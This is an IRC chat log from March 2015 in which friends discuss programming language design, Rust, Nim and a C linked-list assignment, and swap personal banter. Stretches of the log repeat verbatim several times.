[2015-03-01T23:20:46-0500] <+awe> NO NO NO
[2015-03-01T23:20:48-0500] <+awe> NO
[2015-03-01T23:20:52-0500] <+awe> THIS IS BAD
[2015-03-01T23:21:04-0500] <+awe> YOU DO NOT WANT YOUR LANGUAGE SEMANTICS TO BE CHANGEABLE.
[2015-03-01T23:21:28-0500] <+awe> He even said this:
[2015-03-01T23:21:29-0500] <+awe> "programs by different authors should look at least moderately similar, so you don’t feel you have to learn the author’s style just to make sense of their code"
[2015-03-01T23:21:38-0500] <+awe> If you allow people to co-opt language semantics, no code will ever be familiar ever.
[2015-03-01T23:21:49-0500] <+awe> Because suddenly, your language is a huge mess of people creating their own semantics.
[2015-03-01T23:22:26-0500] <+awe> If learning their brace style is too confusing, imagine how bad it is to learn their custom language semantics.
[2015-03-01T23:32:40-0500] <grantwu> dammit so much chat
[2015-03-01T23:33:22-0500] <grantwu> alokpathy makes cmu?
[2015-03-01T23:33:55-0500] <Tamini> grantwu: I'm hoping he will
[2015-03-01T23:34:02-0500] <+alokpathy> grantwu: They're saying we should have a pdgn meetup at CSAW
[2015-03-01T23:34:23-0500] <+alokpathy> and initially we thought I could only go if I get into CMU and join PPP
[2015-03-01T23:34:30-0500] <+alokpathy> but UIUC has a good team too
[2015-03-01T23:35:04-0500] <+awe> Hyper, hardmath123: This guy should never make a language ever.
[2015-03-01T23:35:30-0500] <grantwu> I don't think alokpathy will have a hard time getting in.
[2015-03-01T23:35:51-0500] <+awe> He complained about having to type mut in Rust, but agrees that everything should be immutable by default, and named specific problems that describe exactly why Rust has a mut keyword.
[2015-03-01T23:36:16-0500] <grantwu> Who is awe ranting about?
[2015-03-01T23:36:24-0500] <+awe> http://eev.ee/blog/2015/02/28/sylph-the-programming-language-i-want/
[2015-03-01T23:36:26-0500] <+awe> This blog post.
[2015-03-01T23:37:03-0500] <Hyper> meanwhile I'm just rewatching diebuster I think I'm having a much calmer evening :)
[2015-03-01T23:37:03-0500] <grantwu> oh
[2015-03-01T23:37:13-0500] <grantwu> did you read my thing about doubly-linked lists awe
[2015-03-01T23:37:24-0500] <+awe> Hyper: well, yeah, you didn't drive eight hours in a snowstorm tonight either.
[2015-03-01T23:37:31-0500] <+awe> Hyper: you're definitely having a calmer evening.
[2015-03-01T23:37:32-0500] <+awe> grantwu: no.
[2015-03-01T23:37:35-0500] <+awe> grantwu: what is it
[2015-03-01T23:37:43-0500] <Hyper> awe: i walked through a snowstorm, does that count?
[2015-03-01T23:37:46-0500] <Hyper> :P
[2015-03-01T23:37:50-0500] <Hyper> #NYC
[2015-03-01T23:37:53-0500] <+awe> Hyper: Did it take eight hours?
[2015-03-01T23:38:11-0500] <grantwu> Uh, that you need unsafe keyword to implement them in Rust without reference counting
[2015-03-01T23:39:00-0500] <+awe> I don't think that's true.
[2015-03-01T23:39:07-0500] <grantwu> It's a quote from the Rust manual...
[2015-03-01T23:39:17-0500] <+awe> Huh.
[2015-03-01T23:39:24-0500] <+awe> Well, I mean, what's the big deal with using Rc?
[2015-03-01T23:39:35-0500] <grantwu> perf, I guess
[2015-03-01T23:39:37-0500] <grantwu> idek
[2015-03-01T23:39:43-0500] <grantwu> "For example, a doubly-linked list is not a tree structure and can only be represented with reference-counted pointers in safe code. By using unsafe blocks to represent the reverse links as raw pointers, it can be implemented with only boxes."
[2015-03-01T23:39:59-0500] <+awe> Eh.
[2015-03-01T23:40:25-0500] <+awe> Yeah, if you care about the small performance win, you can use raw pointers and unsafe.
[2015-03-01T23:40:30-0500] <+awe> But realistically, you'd just use Rc.
[2015-03-01T23:40:45-0500] <+awe> It's a very slight performance difference.
[2015-03-01T23:40:58-0500] <+awe> Should be like an extra instruction or two for addition/deletion.
[2015-03-01T23:43:31-0500] <grantwu> I have a linguistic midterm tomorrow crie
[2015-03-01T23:45:44-0500] <+awe> "say that if key in dict: means the key must exist for the duration of the block unless something happens to change that. Then you could later say that dict[key] can’t possibly raise a KeyError"
[2015-03-01T23:45:47-0500] <+awe> You know what language does that?
[2015-03-01T23:45:48-0500] <+awe> RUST.
[2015-03-01T23:46:04-0500] <+awe> He keeps bagging on Rust, but half of the things he talks about incorporating in this language are Rust.
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[2015-03-02T10:09:07-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-01T23:21:38-0500] <+awe> If you allow people to co-opt language semantics, no code will ever be familiar ever.
[2015-03-01T23:21:49-0500] <+awe> Because suddenly, your language is a huge mess of people creating their own semantics.
[2015-03-01T23:22:26-0500] <+awe> If learning their brace style is too confusing, imagine how bad it is to learn their custom language semantics.
[2015-03-01T23:32:40-0500] <grantwu> dammit so much chat
[2015-03-01T23:33:22-0500] <grantwu> alokpathy makes cmu?
[2015-03-01T23:33:55-0500] <Tamini> grantwu: I'm hoping he will
[2015-03-01T23:34:02-0500] <+alokpathy> grantwu: They're saying we should have a pdgn meetup at CSAW
[2015-03-01T23:34:23-0500] <+alokpathy> and initially we thought I could only go if I get into CMU and join PPP
[2015-03-01T23:34:30-0500] <+alokpathy> but UIUC has a good team too
[2015-03-01T23:35:04-0500] <+awe> Hyper, hardmath123: This guy should never make a language ever.
[2015-03-01T23:35:30-0500] <grantwu> I don't think alokpathy will have a hard time getting in.
[2015-03-01T23:35:51-0500] <+awe> He complained about having to type mut in Rust, but agrees that everything should be immutable by default, and named specific problems that describe exactly why Rust has a mut keyword.
[2015-03-01T23:36:16-0500] <grantwu> Who is awe ranting about?
[2015-03-01T23:36:24-0500] <+awe> http://eev.ee/blog/2015/02/28/sylph-the-programming-language-i-want/
[2015-03-01T23:36:26-0500] <+awe> This blog post.
[2015-03-01T23:37:03-0500] <Hyper> meanwhile I'm just rewatching diebuster I think I'm having a much calmer evening :)
[2015-03-01T23:37:03-0500] <grantwu> oh
[2015-03-01T23:37:13-0500] <grantwu> did you read my thing about doubly-linked lists awe
[2015-03-01T23:37:24-0500] <+awe> Hyper: well, yeah, you didn't drive eight hours in a snowstorm tonight either.
[2015-03-01T23:37:31-0500] <+awe> Hyper: you're definitely having a calmer evening.
[2015-03-01T23:37:32-0500] <+awe> grantwu: no.
[2015-03-01T23:37:35-0500] <+awe> grantwu: what is it
[2015-03-01T23:37:43-0500] <Hyper> awe: i walked through a snowstorm, does that count?
[2015-03-01T23:37:46-0500] <Hyper> :P
[2015-03-01T23:37:50-0500] <Hyper> #NYC
[2015-03-01T23:37:53-0500] <+awe> Hyper: Did it take eight hours?
[2015-03-01T23:38:11-0500] <grantwu> Uh, that you need unsafe keyword to implement them in Rust without reference counting
[2015-03-01T23:39:00-0500] <+awe> I don't think that's true.
[2015-03-01T23:39:07-0500] <grantwu> It's a quote from the Rust manual...
[2015-03-01T23:39:17-0500] <+awe> Huh.
[2015-03-01T23:39:24-0500] <+awe> Well, I mean, what's the big deal with using Rc?
[2015-03-01T23:39:35-0500] <grantwu> perf, I guess
[2015-03-01T23:39:37-0500] <grantwu> idek
[2015-03-01T23:39:43-0500] <grantwu> "For example, a doubly-linked list is not a tree structure and can only be represented with reference-counted pointers in safe code. By using unsafe blocks to represent the reverse links as raw pointers, it can be implemented with only boxes."
[2015-03-01T23:39:59-0500] <+awe> Eh.
[2015-03-01T23:40:25-0500] <+awe> Yeah, if you care about the small performance win, you can use raw pointers and unsafe.
[2015-03-01T23:40:30-0500] <+awe> But realistically, you'd just use Rc.
[2015-03-01T23:40:45-0500] <+awe> It's a very slight performance difference.
[2015-03-01T23:40:58-0500] <+awe> Should be like an extra instruction or two for addition/deletion.
[2015-03-01T23:43:31-0500] <grantwu> I have a linguistic midterm tomorrow crie
[2015-03-01T23:45:44-0500] <+awe> "say that if key in dict: means the key must exist for the duration of the block unless something happens to change that. Then you could later say that dict[key] can’t possibly raise a KeyError"
[2015-03-01T23:45:47-0500] <+awe> You know what language does that?
[2015-03-01T23:45:48-0500] <+awe> RUST.
[2015-03-01T23:46:04-0500] <+awe> He keeps bagging on Rust, but half of the things he talks about incorporating in this language are Rust.
[2015-03-02T00:35:21-0500] <grantwu> I think I'm just slow at doing things
[2015-03-02T00:36:10-0500] <grantwu> At learning things and making things...
[2015-03-02T07:54:40-0500] <JacobEdelman_> Tamini: I tried to go to the dojo's of aresholery but they kicked me about for being to annoying :P
[2015-03-02T07:54:55-0500] <JacobEdelman_> *out not about
[2015-03-02T07:58:40-0500] <JacobEdelman_> Also u expected to like this sylph guy but he clearly does not understand nim
[2015-03-02T07:59:26-0500] <JacobEdelman_> Nim's name spacing is really good since it's all automated
[2015-03-02T10:09:08-0500] Mode is +nt
[2015-03-02T10:14:17-0500] <+awe> JacobEdelman_: global namespacing is not automatic, it's just global.
[2015-03-02T10:14:26-0500] <JacobEdelman_> true
[2015-03-02T10:14:28-0500] <JacobEdelman_> but he says
[2015-03-02T10:14:34-0500] <JacobEdelman_> that it just imprts everything
[2015-03-02T10:14:36-0500] <JacobEdelman_> which is wrong
[2015-03-02T10:14:39-0500] <JacobEdelman_> it doesn't
[2015-03-02T10:14:44-0500] <JacobEdelman_> it only imports what you need
[2015-03-02T10:15:03-0500] <JacobEdelman_> although I can see why non-global namespacing would be nice
[2015-03-02T10:16:11-0500] <+awe> Global namespacing is awful.
[2015-03-02T10:16:30-0500] <+awe> Qualified imports help a little bit, but not that much.
[2015-03-02T10:17:00-0500] <+awe> I appreciate that Rust's traits are essentially namespaces for functions.
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[2015-03-02T11:00:28-0500] <JacobEdelman_> you know, you really have fallen for rust, havn't you?
[2015-03-02T11:44:16-0500] <+awe> JacobEdelman_: It's a generally good language.
[2015-03-02T11:46:07-0500] <Hyper> awe: haha hahahahhaah ahhaha
[2015-03-02T11:46:08-0500] <Hyper> https://github.com/aatxe
[2015-03-02T11:46:09-0500] <Hyper> I WIN
[2015-03-02T11:46:17-0500] <Hyper> YOU MISSED A DAY
[2015-03-02T11:46:22-0500] <+awe> >implying I just didn't forget to push something yesterday
[2015-03-02T11:46:34-0500] <Hyper> D:
[2015-03-02T11:47:07-0500] <+awe> Argh. This is stupid as hell.
[2015-03-02T11:47:24-0500] <+awe> We had to implement these programs that do word frequency or something
[2015-03-02T11:47:31-0500] <+awe> and the function that they said would be the easiest is giving me such a hard time
[2015-03-02T11:47:35-0500] <+awe> At least, I think it is.
[2015-03-02T11:47:54-0500] <+awe> Because I pass all the tests, but the program doesn't actually output anything and I think it's because of this stupid function.
[2015-03-02T11:51:03-0500] <+awe> It just says "Handle EOF and the last word correctly."
[2015-03-02T11:51:09-0500] <+awe> What does that mean?
[2015-03-02T11:51:16-0500] <+awe> YOU DID NOT DEFINE WHAT THE CORRECT BEHAVIOR IS.
[2015-03-02T11:56:29-0500] <Hyper> awe: the correct behavior is to be correct ( ͡° ͜ʖ ͡°)
[2015-03-02T11:56:38-0500] <+awe> I got it by guessing.
[2015-03-02T11:57:00-0500] <Hyper> awe: no, you have to say you got it by bracketing the solution space
[2015-03-02T11:57:02-0500] <+awe> But they wanted us to do two different implementations and the one they called fast is slower. :)
[2015-03-02T11:57:04-0500] <Hyper> pls get on my level
[2015-03-02T11:57:27-0500] <Hyper> (I'm in a silly mood, if you couldn't tell)
[2015-03-02T12:00:49-0500] <+awe> So, I'm worried about this because the reason it's slower is because I do an O(n) iteration through a linked list until I find what I'm looking for again
[2015-03-02T12:01:08-0500] <+awe> I think they want me to do pointer arithmetic, but I don't think that it's guaranteed to wrok.
[2015-03-02T12:01:09-0500] <+awe> work*
[2015-03-02T12:01:27-0500] <+awe> I don't think search_result - 1 will always be the node linking to the result.
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[2015-03-02T12:02:45-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-01T23:40:45-0500] <+awe> It's a very slight performance difference.
[2015-03-01T23:40:58-0500] <+awe> Should be like an extra instruction or two for addition/deletion.
[2015-03-01T23:43:31-0500] <grantwu> I have a linguistic midterm tomorrow crie
[2015-03-01T23:45:44-0500] <+awe> "say that if key in dict: means the key must exist for the duration of the block unless something happens to change that. Then you could later say that dict[key] can’t possibly raise a KeyError"
[2015-03-01T23:45:47-0500] <+awe> You know what language does that?
[2015-03-01T23:45:48-0500] <+awe> RUST.
[2015-03-01T23:46:04-0500] <+awe> He keeps bagging on Rust, but half of the things he talks about incorporating in this language are Rust.
[2015-03-02T00:35:21-0500] <grantwu> I think I'm just slow at doing things
[2015-03-02T00:36:10-0500] <grantwu> At learning things and making things...
[2015-03-02T07:54:40-0500] <JacobEdelman_> Tamini: I tried to go to the dojo's of aresholery but they kicked me about for being to annoying :P
[2015-03-02T07:54:55-0500] <JacobEdelman_> *out not about
[2015-03-02T07:58:40-0500] <JacobEdelman_> Also u expected to like this sylph guy but he clearly does not understand nim
[2015-03-02T07:59:26-0500] <JacobEdelman_> Nim's name spacing is really good since it's all automated
[2015-03-02T10:14:16-0500] <+awe> JacobEdelman_: global namespacing is not automatic, it's just global.
[2015-03-02T10:14:25-0500] <JacobEdelman_> true
[2015-03-02T10:14:27-0500] <JacobEdelman_> but he says
[2015-03-02T10:14:34-0500] <JacobEdelman_> that it just imprts everything
[2015-03-02T10:14:36-0500] <JacobEdelman_> which is wrong
[2015-03-02T10:14:39-0500] <JacobEdelman_> it doesn't
[2015-03-02T10:14:44-0500] <JacobEdelman_> it only imports what you need
[2015-03-02T10:15:02-0500] <JacobEdelman_> although I can see why non-global namespacing would be nice
[2015-03-02T10:16:10-0500] <+awe> Global namespacing is awful.
[2015-03-02T10:16:30-0500] <+awe> Qualified imports help a little bit, but not that much.
[2015-03-02T10:16:59-0500] <+awe> I appreciate that Rust's traits are essentially namespaces for functions.
[2015-03-02T11:00:28-0500] <JacobEdelman_> you know, you really have fallen for rust, havn't you?
[2015-03-02T11:44:16-0500] <+awe> JacobEdelman_: It's a generally good language.
[2015-03-02T11:46:07-0500] <Hyper> awe: haha hahahahhaah ahhaha
[2015-03-02T11:46:08-0500] <Hyper> https://github.com/aatxe
[2015-03-02T11:46:09-0500] <Hyper> I WIN
[2015-03-02T11:46:17-0500] <Hyper> YOU MISSED A DAY
[2015-03-02T11:46:22-0500] <+awe> >implying I just didn't forget to push something yesterday
[2015-03-02T11:46:34-0500] <Hyper> D:
[2015-03-02T11:47:07-0500] <+awe> Argh. This is stupid as hell.
[2015-03-02T11:47:24-0500] <+awe> We had to implement these programs that do word frequency or something
[2015-03-02T11:47:31-0500] <+awe> and the function that they said would be the easiest is giving me such a hard time
[2015-03-02T11:47:35-0500] <+awe> At least, I think it is.
[2015-03-02T11:47:54-0500] <+awe> Because I pass all the tests, but the program doesn't actually output anything and I think it's because of this stupid function.
[2015-03-02T11:51:04-0500] <+awe> It just says "Handle EOF and the last word correctly."
[2015-03-02T11:51:09-0500] <+awe> What does that mean?
[2015-03-02T11:51:16-0500] <+awe> YOU DID NOT DEFINE WHAT THE CORRECT BEHAVIOR IS.
[2015-03-02T11:56:29-0500] <Hyper> awe: the correct behavior is to be correct ( ͡° ͜ʖ ͡°)
[2015-03-02T11:56:38-0500] <+awe> I got it by guessing.
[2015-03-02T11:57:00-0500] <Hyper> awe: no, you have to say you got it by bracketing the solution space
[2015-03-02T11:57:02-0500] <+awe> But they wanted us to do two different implementations and the one they called fast is slower. :)
[2015-03-02T11:57:04-0500] <Hyper> pls get on my level
[2015-03-02T11:57:27-0500] <Hyper> (I'm in a silly mood, if you couldn't tell)
[2015-03-02T12:00:49-0500] <+awe> So, I'm worried about this because the reason it's slower is because I do an O(n) iteration through a linked list until I find what I'm looking for again
[2015-03-02T12:01:08-0500] <+awe> I think they want me to do pointer arithmetic, but I don't think that it's guaranteed to wrok.
[2015-03-02T12:01:09-0500] <+awe> work*
[2015-03-02T12:01:27-0500] <+awe> I don't think search_result - 1 will always be the node linking to the result.
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[2015-03-02T13:24:03-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-01T23:40:45-0500] <+awe> It's a very slight performance difference.
[2015-03-01T23:40:58-0500] <+awe> Should be like an extra instruction or two for addition/deletion.
[2015-03-01T23:43:31-0500] <grantwu> I have a linguistic midterm tomorrow crie
[2015-03-01T23:45:44-0500] <+awe> "say that if key in dict: means the key must exist for the duration of the block unless something happens to change that. Then you could later say that dict[key] can’t possibly raise a KeyError"
[2015-03-01T23:45:47-0500] <+awe> You know what language does that?
[2015-03-01T23:45:48-0500] <+awe> RUST.
[2015-03-01T23:46:04-0500] <+awe> He keeps bagging on Rust, but half of the things he talks about incorporating in this language are Rust.
[2015-03-02T00:35:21-0500] <grantwu> I think I'm just slow at doing things
[2015-03-02T00:36:10-0500] <grantwu> At learning things and making things...
[2015-03-02T07:54:40-0500] <JacobEdelman_> Tamini: I tried to go to the dojo's of aresholery but they kicked me about for being to annoying :P
[2015-03-02T07:54:55-0500] <JacobEdelman_> *out not about
[2015-03-02T07:58:40-0500] <JacobEdelman_> Also u expected to like this sylph guy but he clearly does not understand nim
[2015-03-02T07:59:26-0500] <JacobEdelman_> Nim's name spacing is really good since it's all automated
[2015-03-02T10:14:16-0500] <+awe> JacobEdelman_: global namespacing is not automatic, it's just global.
[2015-03-02T10:14:25-0500] <JacobEdelman_> true
[2015-03-02T10:14:27-0500] <JacobEdelman_> but he says
[2015-03-02T10:14:34-0500] <JacobEdelman_> that it just imprts everything
[2015-03-02T10:14:36-0500] <JacobEdelman_> which is wrong
[2015-03-02T10:14:39-0500] <JacobEdelman_> it doesn't
[2015-03-02T10:14:44-0500] <JacobEdelman_> it only imports what you need
[2015-03-02T10:15:02-0500] <JacobEdelman_> although I can see why non-global namespacing would be nice
[2015-03-02T10:16:10-0500] <+awe> Global namespacing is awful.
[2015-03-02T10:16:30-0500] <+awe> Qualified imports help a little bit, but not that much.
[2015-03-02T10:16:59-0500] <+awe> I appreciate that Rust's traits are essentially namespaces for functions.
[2015-03-02T11:00:28-0500] <JacobEdelman_> you know, you really have fallen for rust, havn't you?
[2015-03-02T11:44:16-0500] <+awe> JacobEdelman_: It's a generally good language.
[2015-03-02T11:46:07-0500] <Hyper> awe: haha hahahahhaah ahhaha
[2015-03-02T11:46:08-0500] <Hyper> https://github.com/aatxe
[2015-03-02T11:46:09-0500] <Hyper> I WIN
[2015-03-02T11:46:17-0500] <Hyper> YOU MISSED A DAY
[2015-03-02T11:46:22-0500] <+awe> >implying I just didn't forget to push something yesterday
[2015-03-02T11:46:34-0500] <Hyper> D:
[2015-03-02T11:47:07-0500] <+awe> Argh. This is stupid as hell.
[2015-03-02T11:47:24-0500] <+awe> We had to implement these programs that do word frequency or something
[2015-03-02T11:47:31-0500] <+awe> and the function that they said would be the easiest is giving me such a hard time
[2015-03-02T11:47:35-0500] <+awe> At least, I think it is.
[2015-03-02T11:47:54-0500] <+awe> Because I pass all the tests, but the program doesn't actually output anything and I think it's because of this stupid function.
[2015-03-02T11:51:04-0500] <+awe> It just says "Handle EOF and the last word correctly."
[2015-03-02T11:51:09-0500] <+awe> What does that mean?
[2015-03-02T11:51:16-0500] <+awe> YOU DID NOT DEFINE WHAT THE CORRECT BEHAVIOR IS.
[2015-03-02T11:56:29-0500] <Hyper> awe: the correct behavior is to be correct ( ͡° ͜ʖ ͡°)
[2015-03-02T11:56:38-0500] <+awe> I got it by guessing.
[2015-03-02T11:57:00-0500] <Hyper> awe: no, you have to say you got it by bracketing the solution space
[2015-03-02T11:57:02-0500] <+awe> But they wanted us to do two different implementations and the one they called fast is slower. :)
[2015-03-02T11:57:04-0500] <Hyper> pls get on my level
[2015-03-02T11:57:27-0500] <Hyper> (I'm in a silly mood, if you couldn't tell)
[2015-03-02T12:00:49-0500] <+awe> So, I'm worried about this because the reason it's slower is because I do an O(n) iteration through a linked list until I find what I'm looking for again
[2015-03-02T12:01:08-0500] <+awe> I think they want me to do pointer arithmetic, but I don't think that it's guaranteed to wrok.
[2015-03-02T12:01:09-0500] <+awe> work*
[2015-03-02T12:01:27-0500] <+awe> I don't think search_result - 1 will always be the node linking to the result.
[2015-03-02T13:24:05-0500] Mode is +nt
[2015-03-02T13:24:44-0500] <Hyper> awe: wait what?
[2015-03-02T13:25:11-0500] <Hyper> nodes in a linked list are obviously not guarunteed to be in order
[2015-03-02T13:25:12-0500] <+awe> Hyper: basically, we have a search function that returns a pointer to a pointer of a thing.
[2015-03-02T13:25:38-0500] <+awe> Oh, actually, I know what I can do.
[2015-03-02T13:26:48-0500] <+awe> Yeah, it's faster.
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[2015-03-02T13:41:45-0500] <+awe> Hyper: it occurred to me that if I have Thing** x, I can just do *x = (*x)->next
[2015-03-02T13:42:14-0500] <Hyper> ok
[2015-03-02T13:42:28-0500] <+awe> Which is uhh... weird.
[2015-03-02T13:42:33-0500] <+awe> But it works.
[2015-03-02T13:43:05-0500] <+awe> It makes sense since the pointer is to a pointer, therefore I can update the value of that pointer.
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[2015-03-02T15:02:40-0500] <JacobEdelman_> is destroying almost all of the remaining time
[2015-03-02T15:02:46-0500] <JacobEdelman_> during which I could not be online
[2015-03-02T15:02:53-0500] <JacobEdelman_> I feel like having a phone that can provide wifi tethering
[2015-03-02T15:03:40-0500] <JacobEdelman_> (that last sentence was supposed to be first, phone internet can be slow)
[2015-03-02T15:04:45-0500] <JacobEdelman_> also, Hyper: you being in a silly mood seems to be somewhat similar to my normal mood
[2015-03-02T15:05:38-0500] <JacobEdelman_> awe: pretty soon you may loose the title of person who has know me the 3rd longest
[2015-03-02T15:05:43-0500] <JacobEdelman_> on pdgn
[2015-03-02T15:05:51-0500] <+awe> Oh no!
[2015-03-02T15:05:53-0500] <+awe> What a travesty!
[2015-03-02T15:05:54-0500] <JacobEdelman_> awe: I suggest you know me longer quickly
[2015-03-02T15:06:04-0500] <+awe> I'll try.
[2015-03-02T15:06:05-0500] <Hyper> JacobEdelman_: do I have the title for longest?
[2015-03-02T15:06:09-0500] <JacobEdelman_> Hyper: yup
[2015-03-02T15:06:10-0500] • awe: thinks about knowing JacobEdelman_ more.
[2015-03-02T15:06:12-0500] <Hyper> wooo
[2015-03-02T15:06:22-0500] <JacobEdelman_> alokpathy has 2nd, but will loose second in a few days
[2015-03-02T15:06:32-0500] <JacobEdelman_> or today
[2015-03-02T15:07:09-0500] <JacobEdelman_> on an entirely seperate point
[2015-03-02T15:07:12-0500] <+awe> JacobEdelman_: I've known you longer than alokpathy.
[2015-03-02T15:07:24-0500] <JacobEdelman_> but I didn't legit know you
[2015-03-02T15:07:25-0500] <+awe> JacobEdelman_: I first met you at Berger's bar mitzvah party.
[2015-03-02T15:07:28-0500] <+awe> IT COUNTS.
[2015-03-02T15:07:30-0500] <JacobEdelman_> I knew
[2015-03-02T15:07:32-0500] <JacobEdelman_> alokpathy
[2015-03-02T15:07:53-0500] <JacobEdelman_> when I was in 7th/8th grade
[2015-03-02T15:07:56-0500] <JacobEdelman_> and I remembered him
[2015-03-02T15:08:05-0500] <JacobEdelman_> (as that quiet tall kid)
[2015-03-02T15:08:20-0500] <JacobEdelman_> and although I may have heard of your name from before that
[2015-03-02T15:08:30-0500] <+awe> You met me in person when I was in 5th grade.
[2015-03-02T15:08:33-0500] <+awe> That totally counts.
[2015-03-02T15:08:43-0500] <Hyper> lol
[2015-03-02T15:08:47-0500] <Hyper> get on my level
[2015-03-02T15:08:55-0500] <+awe> I definitely hold the title of 2nd.
[2015-03-02T15:08:58-0500] <JacobEdelman_> I was in 5th, you were in 7th, right?
[2015-03-02T15:08:58-0500] <JacobEdelman_> also, 
[2015-03-02T15:08:59-0500] <JacobEdelman_> gtg
[2015-03-02T15:08:59-0500] <JacobEdelman_> LLAAAAAAAAAAG
[2015-03-02T15:09:12-0500] <+awe> Berger turned 13 in 5th grade, didn't he?
[2015-03-02T15:09:20-0500] <JacobEdelman_> no
[2015-03-02T15:09:22-0500] <JacobEdelman_> wait
[2015-03-02T15:09:23-0500] <JacobEdelman_> no
[2015-03-02T15:09:27-0500] <+awe> Wait, I'm being dumb.
[2015-03-02T15:09:31-0500] <JacobEdelman_> yes
[2015-03-02T15:09:32-0500] <+awe> Probably 7th grade.
[2015-03-02T15:09:38-0500] <+awe> But still, it's earlier than alokpathy.
[2015-03-02T15:09:43-0500] <Hyper> there's a reasonable chance that I knew JacobEdelman_ when he was too young to have object permanence
[2015-03-02T15:09:51-0500] <+awe> I claim #2 though1
[2015-03-02T15:09:53-0500] <+awe> !!!*
[2015-03-02T15:10:24-0500] <+awe> Now, it's time to go ahead and fix my IRC library.
[2015-03-02T15:11:17-0500] <Hyper> awe: aww, did your language break again?
[2015-03-02T15:11:28-0500] <+awe> I think I already said this the other day?
[2015-03-02T15:11:31-0500] <Hyper> :P
[2015-03-02T15:11:33-0500] <+awe> New IO dropped.
[2015-03-02T15:11:48-0500] <+awe> In all fairness, we're nearly at 1.0.
[2015-03-02T15:11:54-0500] <+awe> It's in a few weeks.
[2015-03-02T15:11:57-0500] <+awe> They set a hard date for it.
[2015-03-02T15:14:57-0500] <+awe> Hyper: Also, I'm pretty sure I said that I do hate how often things break. ;)
[2015-03-02T15:15:14-0500] <Hyper> awe: I know, i'm just poking fun
[2015-03-02T15:21:55-0500] <JacobEdelman_> I met alok in 6ht grade
[2015-03-02T15:21:59-0500] <JacobEdelman_> 6th grade
[2015-03-02T15:22:02-0500] <JacobEdelman_> and probaly
[2015-03-02T15:22:13-0500] <JacobEdelman_> (I did first leglo league than, I think)
[2015-03-02T15:22:23-0500] <JacobEdelman_> either way, I met him at the beggening of 7th grade at the latest, before you
[2015-03-02T15:22:44-0500] <JacobEdelman_> also, Hyper: if we include anyone who has ever been on pdgn
[2015-03-02T15:22:50-0500] <JacobEdelman_> than you are 4th
[2015-03-02T15:22:59-0500] <JacobEdelman_> can you guess at the top 3th
[2015-03-02T15:23:02-0500] <JacobEdelman_> *3
[2015-03-02T15:23:18-0500] <Hyper> well ben
[2015-03-02T15:23:22-0500] <JacobEdelman_> yes
[2015-03-02T15:23:24-0500] <JacobEdelman_> and two more
[2015-03-02T15:23:26-0500] <Hyper> ezra?
[2015-03-02T15:23:29-0500] <JacobEdelman_> yes
[2015-03-02T15:23:34-0500] <JacobEdelman_> he's actually been here more than ben
[2015-03-02T15:23:39-0500] <JacobEdelman_> you may not know the 3rd
[2015-03-02T15:23:43-0500] <JacobEdelman_> but awe does
[2015-03-02T15:23:43-0500] <Hyper> well I might have known you before ezra was born
[2015-03-02T15:23:46-0500] <Hyper> there's a chance
[2015-03-02T15:23:51-0500] <JacobEdelman_> Hyper: hmm... maybe
[2015-03-02T15:23:52-0500] <Hyper> not sure
[2015-03-02T15:24:16-0500] <JacobEdelman_> my dad seems to think that you probaly did
[2015-03-02T15:24:27-0500] <JacobEdelman_> in which case I'm not sure about the third person either
[2015-03-02T15:24:31-0500] <Hyper> lol
[2015-03-02T15:24:37-0500] <JacobEdelman_> the third person is aaron berger
[2015-03-02T15:24:44-0500] <JacobEdelman_> he's know me since I was ~2
[2015-03-02T15:24:48-0500] <Hyper> no idea who that is lol
[2015-03-02T15:24:52-0500] <JacobEdelman_> he's a freind of ben's and awe's
[2015-03-02T15:24:54-0500] <JacobEdelman_> *friend
[2015-03-02T15:25:01-0500] <JacobEdelman_> I need to get him to come on here again
[2015-03-02T15:25:03-0500] <JacobEdelman_> he's fun
[2015-03-02T15:25:11-0500] <JacobEdelman_> (also, scarily smart)
[2015-03-02T15:25:33-0500] <JacobEdelman_> but yeah, you have known me a long time
[2015-03-02T15:25:35-0500] <+awe> lol
[2015-03-02T15:27:35-0500] <JacobEdelman_> in other news
[2015-03-02T15:27:51-0500] <JacobEdelman_> the PARCC test (nj's new standardized test) is having technical problems
[2015-03-02T15:27:54-0500] <JacobEdelman_> such a surprise
[2015-03-02T15:42:43-0500] <Tamini> damn, i miss berger
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[2015-03-02T15:52:19-0500] <+awe> Argh. This is a deeply frustrating change.
[2015-03-02T15:52:35-0500] <+awe> TcpStream is no longer clone. It's got a method try_clone instead.
[2015-03-02T15:52:42-0500] <+awe> (Difference being try_clone can fail)
[2015-03-02T15:53:09-0500] <+awe> Which is fine, until OpenSSL requires TcpStream to be clone in order to clone an SslStream wrapping it.
[2015-03-02T15:53:12-0500] <+awe> calc0000: ^ argh
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[2015-03-02T16:31:06-0500] <JacobEdelman_> solution: magic
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[2015-03-02T16:40:08-0500] <+awe> JacobEdelman: https://github.com/sfackler/rust-openssl/pull/175 << magic
[2015-03-02T16:40:11-0500] <+awe> erm JacobEdelman_ ^
[2015-03-02T16:40:44-0500] <JacobEdelman_> cool
[2015-03-02T16:42:37-0500] <JacobEdelman_> is it okay if at particularly important moments in my life I play dramatic music in the background?
[2015-03-02T16:43:10-0500] <JacobEdelman_> (I can just imagine myself playing dramatic music in the background as I take the SAT) 
[2015-03-02T16:43:25-0500] <Tamini> well, I dont think the SAT proctors would appreciate that much :P
[2015-03-02T16:43:48-0500] <JacobEdelman_> like this: 
[2015-03-02T16:43:49-0500] <JacobEdelman_> https://www.youtube.com/watch?v=ynjmWX9rw7Q
[2015-03-02T16:43:54-0500] <JacobEdelman_> I mean, in Jacob Edelman the movie
[2015-03-02T16:44:00-0500] <JacobEdelman_> I'm sure that would be in the background
[2015-03-02T16:44:09-0500] <Tamini> heh
[2015-03-02T16:44:32-0500] <JacobEdelman_> good bye
[2015-03-02T16:44:34-0500] <[sar]chrissing> bye
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[2015-03-02T17:10:22-0500] <+awe> Okay, as soon as this PR gets merged, IRC is set.
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[2015-03-02T17:43:11-0500] <JacobEdelman_> Woooooooooooooooooo!
[2015-03-02T17:43:26-0500] <JacobEdelman_> getting emails from profs with advice on writing a paper is fun!
[2015-03-02T18:08:15-0500] <+awe> JacobEdelman_: you still need to get me that Python implementation.
[2015-03-02T18:08:24-0500] <JacobEdelman_> why?
[2015-03-02T18:08:28-0500] <JacobEdelman_> too make it easier for you?
[2015-03-02T18:08:30-0500] <JacobEdelman_> :P
[2015-03-02T18:08:38-0500] <JacobEdelman_> but actually, why?
